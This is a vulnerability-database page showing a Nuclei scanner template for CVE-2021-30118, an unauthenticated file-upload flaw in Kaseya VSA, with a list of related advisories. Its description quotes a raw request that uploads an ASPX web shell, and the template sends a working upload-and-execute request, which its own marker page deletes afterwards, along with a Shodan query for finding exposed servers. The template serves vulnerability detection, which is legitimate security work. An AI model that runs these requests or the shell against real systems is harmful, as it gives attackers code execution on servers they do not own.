| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Last Week’s Security news: PrintNightmare patches and Metasploit, Kaseya CVEs, Morgan Stanley Accellion FTA, Cisco BPA and WSA, Philips Vue PACS, CISA RVAs, Lazarus job offers | 11 Jul 202120:52 | – | avleonov | |
| CVE-2021-30118 | 11 Oct 202505:03 | – | circl | |
| Kaseya VSA RMM 代码问题漏洞 | 9 Jul 202100:00 | – | cnnvd | |
| Kaseya VSA Remote Code Execution Vulnerability | 13 Jul 202100:00 | – | cnvd | |
| CVE-2021-30118 | 9 Jul 202113:19 | – | cve | |
| CVE-2021-30118 Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5 | 9 Jul 202113:19 | – | cvelist | |
| EUVD-2021-17058 | 7 Oct 202500:30 | – | euvd | |
| Vulnerabilities fixed in Kaseya Virtual System Administrator (VSA) | 12 Jul 202100:00 | – | ncsc | |
| CVE-2021-30118 | 9 Jul 202114:15 | – | nvd | |
| CVE-2021-30118 | 9 Jul 202114:15 | – | osv |
id: CVE-2021-30118
info:
name: Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution
author: daffainfo
severity: critical
description: |
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request- ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host- 192.168.1.194 Cookie- sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length- 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
remediation: |
Update to version 9.5.7 or later to remediate this vulnerability.
impact: |
Attackers can upload and execute arbitrary files on the server, potentially leading to full system compromise and data breach.
reference:
- https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/
- https://csirt.divd.nl/CVE-2021-30118
- https://csirt.divd.nl/DIVD-2021-00011
- https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021
- https://nvd.nist.gov/vuln/detail/CVE-2021-30118
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-30118
cwe-id: CWE-434
epss-score: 0.60084
epss-percentile: 0.99021
cpe: cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*
metadata:
verified: true
max-request: 2
vendor: kaseya
product: vsa
shodan-query: http.favicon.hash:-1445519482
tags: cve,cve2021,kaseya,file-upload,vkev,intrusive,rce,vuln
variables:
sessionid: "{{rand_int(11111111, 99999999)}}"
filename: "{{rand_base(8)}}.aspx"
num: "999999999"
flow: http(1) && http(2)
http:
- raw:
- |
POST /SystemTab/uploader.aspx?Filename={{filename}}&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile={{filename}} HTTP/1.1
Host: {{Hostname}}
Cookie: sessionId={{sessionid}}; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load() {
byte[] bytes = Encoding.UTF8.GetBytes("{{num}}");
byte[] hash = MD5.Create().ComputeHash(bytes);
Response.Write(BitConverter.ToString(hash).Replace("-", "").ToLower());
File.Delete(Server.MapPath(Request.ServerVariables["SCRIPT_NAME"]));
}
</script>
cookie-reuse: false
matchers:
- type: dsl
dsl:
- "contains_all(body, 'success', 'true')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |+
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
Cookie: sessionId={{sessionid}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200
# digest: 4b0a00483046022100c491699856d4eb30c5d9a493d6c5ead263b46bb19db5aa85291fb72d1505db9a022100ebfebbd3049ad4b9c65cbad05cbd28927688b9c507ca00e64f0f24a74135208b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation